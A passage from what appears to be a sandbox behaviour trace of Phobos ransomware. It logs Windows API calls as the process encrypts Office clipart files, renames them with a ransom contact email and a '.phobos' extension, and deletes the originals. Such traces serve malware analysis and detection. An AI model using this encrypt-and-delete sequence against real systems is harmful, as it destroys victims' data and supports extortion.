Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.665] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2644) returned 1 [0059.665] CloseHandle (hObject=0x338) returned 1 [0059.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0059.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.665] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.666] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.666] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1f0) returned 1 [0059.666] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.666] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xa54, lpOverlapped=0x0) returned 1 [0059.676] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa60, dwBufLen=0xa60 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa60) returned 1 [0059.676] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa60, lpOverlapped=0x0) returned 1 [0059.676] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0059.676] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.677] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.677] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.677] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.677] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.677] CloseHandle (hObject=0x338) returned 1 [0059.677] CloseHandle (hObject=0x304) returned 1 [0059.677] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0059.678] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.679] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=5272) returned 1 [0059.679] CloseHandle (hObject=0x304) returned 1 [0059.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0059.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.679] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.679] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.680] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d170) returned 1 [0059.680] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.680] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1498, lpOverlapped=0x0) returned 1 [0059.681] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x14a0) returned 1 [0059.681] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x14a0, lpOverlapped=0x0) returned 1 [0059.682] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf30) returned 1 [0059.682] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.682] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.682] CryptDestroyKey (hKey=0x10cf30) returned 1 [0059.682] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.682] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.682] CloseHandle (hObject=0x304) returned 1 [0059.682] CloseHandle (hObject=0x338) returned 1 [0059.683] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0059.684] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.684] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3016) returned 1 [0059.684] CloseHandle (hObject=0x338) returned 1 [0059.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0059.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.684] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.684] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.685] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d070) returned 1 [0059.685] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.685] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xbc8, lpOverlapped=0x0) returned 1 [0059.697] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbd0) returned 1 [0059.697] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xbd0, lpOverlapped=0x0) returned 1 [0059.697] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0059.697] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.697] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.697] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.697] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.698] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.698] CloseHandle (hObject=0x338) returned 1 [0059.698] CloseHandle (hObject=0x304) returned 1 [0059.698] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0059.699] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.699] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=812) returned 1 [0059.699] CloseHandle (hObject=0x304) returned 1 [0059.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0059.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.700] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.700] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.700] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0059.700] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.700] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x32c, lpOverlapped=0x0) returned 1 [0059.980] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x330, dwBufLen=0x330 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x330) returned 1 [0059.980] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x330, lpOverlapped=0x0) returned 1 [0059.981] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0059.981] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.981] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.981] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.981] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.981] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0059.981] CloseHandle (hObject=0x304) returned 1 [0059.981] CloseHandle (hObject=0x338) returned 1 [0059.982] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0059.983] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.984] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=27552) returned 1 [0059.984] CloseHandle (hObject=0x338) returned 1 [0059.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0059.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.985] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.985] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.985] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0059.985] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.985] ReadFile (in: hFile=0x338, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x6ba0, lpOverlapped=0x0) returned 1 [0059.987] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6bb0, dwBufLen=0x6bb0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x6bb0) returned 1 [0059.987] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x6bb0, lpOverlapped=0x0) returned 1 [0059.989] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d070) returned 1 [0059.989] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.989] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.989] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.989] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.989] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0059.989] CloseHandle (hObject=0x338) returned 1 [0059.989] CloseHandle (hObject=0x304) returned 1 [0059.990] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0059.992] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.992] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=11500) returned 1 [0059.992] CloseHandle (hObject=0x304) returned 1 [0059.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220 [0059.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.993] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.993] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.993] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0059.993] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.993] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 